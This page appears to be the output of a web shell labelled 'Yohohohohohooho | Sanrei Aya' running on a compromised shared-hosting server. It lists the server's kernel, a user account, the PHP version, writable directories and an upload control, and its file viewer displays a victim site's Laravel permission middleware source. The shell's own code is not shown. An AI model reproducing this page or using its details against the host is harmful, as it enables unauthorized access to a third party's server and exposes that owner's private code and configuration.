Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /home/elvh3918/public_html/pmm/app/Http/Middleware/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/elvh3918/public_html/pmm/app/Http/Middleware/PermissionAndActive.php
<?php

namespace App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response;

class PermissionAndActive
{
    /**
     * Handle an incoming request.
     *
     * @param  \Closure(\Illuminate\Http\Request): (\Symfony\Component\HttpFoundation\Response)  $next
     */
    public function handle(Request $request, Closure $next, string $permission): Response
    {
        $user = $request->user();
        if (!$user) {
            abort(403, 'Unauthorized');
        }

        $permissions = $user->permissions;
        $is_active = false;
        for ($i=0; $i < count($permissions); $i++) {
            if ($permissions[$i]->name == $permission && $permissions[$i]->is_active == 1) {
                $is_active = true;
            }
        }

        if ($user->can($permission) && $is_active == true) {
            return $next($request);
        }

        $arrPermission = explode('_', $permission);
        if ($arrPermission[1] == 'dashboard') {
            // return redirect()->route('welcome');
            abort(403, 'welcome');
        } else {
            abort(403, 'Permission denied or inactive status');
        }
    }
}

Yohohohohohooho | Sanrei Aya